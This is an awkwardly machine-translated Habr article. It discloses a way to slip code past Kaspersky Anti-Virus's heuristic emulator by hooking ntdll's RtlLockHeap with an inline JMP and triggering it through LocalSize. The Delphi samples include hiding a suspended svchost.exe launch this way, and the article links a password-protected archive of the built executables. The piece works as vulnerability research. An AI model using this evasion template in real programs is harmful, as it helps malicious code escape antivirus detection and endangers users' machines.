📜 ⬆️ ⬇️

Emulator vulnerability in Kaspersky Anti-Virus

At the moment, an increasing number of viruses are being created in the world, the number of which is impossible to catch. Therefore, modern technologies of "cloud networks" and heuristic code analyzers are designed to provide protection against completely new threats before analysts add samples to the anti-virus database.

It's no secret that in every system there will always be a pair of holes, which sooner or later will swim out. Sometimes this is due to the mistakes of programmers, sometimes - due to the development of technology, virmaykerstva. In this article I will show you one of the ways to bypass the emulator in the latest versions of Kaspersky Anti-Virus.

Theory


What exactly is an emulator in an antivirus and why is it needed? The answer is very simple - almost all malware is encrypted and paked by various cryptors and protectors, while checking a file on the disk, the emulator “spins up” the tested executive file on its virtual machine and gradually “gets” to the necessary code, which is already detected by signature, or heuristic method.

During the development of one of my programs, I ran into the problem that Kaspersky Anti-Virus constantly cursed at my executable, as in " HEUR: Trojan.Win32.Generic ", although I did not see anything harmful in it. By the method of exceptions it was revealed that the antivirus swears at the creation of a process by the function CreateProcess (...), if its parameters set the flag of the hidden process launch. There was nowhere to go away from this, so I had to go through various versions of the code execution, especially since I myself was interested. The result did not take long to wait - in a couple of hours three ways to counter the emulator were found, let's consider, in my opinion, the most interesting of them, which lies in the vulnerability of the api function checks.
')
The emulator checks only the win api calls that the application under test makes, but whether it analyzes other api that calls the test, as it turned out, no. Whether this was done in order to optimize or a simple oversight of the developers - no one will know.

For clarity, I present a small scheme: on the left is shown the execution of the program in a real environment, and on the right - the execution of checks on the code in the antivirus emulator environment.
image

Practice


As an example, I cite a part of the code that was detected in my program. As mentioned earlier, the code does not do anything wrong, it only starts the process in a stopped state. Written in delphi.

procedure ProcessBadCode();
var
StartInfo : TStartupInfoA;
ProcInfo : TProcessInformation;
begin
ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
StartInfo.cb := SizeOf(TStartupInfoA);
CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
end;

begin
ProcessBadCode();
end.


All that is needed for unnoticeable execution of the code under the emulator's nose is to make a hook to any api and translate the execution to code that should go unnoticed, and then find another api that calls the first one and call it in its code. In the following example, I took the following functions: " RtlLockHeap (...) " from " ntdll.dll " and " LocalSize (...) " from " kernel32.dll ". As many have already understood, the second causes the first. After the hook is set to " RtlLockHeap (...) ", the call chain is as follows:
MyCode (...) -> LocalSize (...) -> RtlLockHeap (...) -> BadCode (...) .
Detect antivirus will not be.

var
Initialized : Boolean;
procedure ProcessBadCode();
var
StartInfo : TStartupInfoA;
ProcInfo : TProcessInformation;
begin
if not Initialized then // , -
begin
Initialized := True; // ,
ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
StartInfo.cb := SizeOf(TStartupInfoA);
CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Sleep(5000); //
TerminateProcess(ProcInfo.hProcess, 0);
ExitProcess(0); //
end;
Sleep(INFINITE); //
end;

procedure ProcessStartCode();
procedure WriteJmp(AddressFrom, AddressTo : Integer); // jmp
var
Protect, Stuff : Cardinal;
begin
VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect);
PByte(AddressFrom)^ := $E9;
PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5;
VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff);
end;
var
NativeFunc : procedure();
begin
//
@NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap');
// BadCode
WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode));
// , ...
LocalSize(0);
end;

begin
ProcessStartCode();
end.


findings


The golden rule: “trust - but check!” Unfortunately, the existing policy of “trust” to signed programs has already failed: these are examples implemented in the Stuxnet virus and in the recent exploitation of the Adobe vulnerability. As my little experience has shown, the heuristic code analyzer of one of the most popular antiviruses is subject to the same problems. Especially significant is the fact that the Kaspersky heuristic analyzer is one of the two that noticed a threat in this file (for which he was honored and praised), and the detection of Chinese Jiangmin is an obvious false positive. It is a pity that everything was decided so simply ...

All this once again confirms the indisputable truth that not a single software product will provide adequate protection without an understanding of the security elements on the part of the operator and his active efforts to curb threats.

In addition, a set of compiled executable files and sources , which were discussed in the article. The password for the archive is elcrabe .

I express my gratitude to the user gjf for help in preparing the article.

Source: https://habr.com/ru/post/104206/


All Articles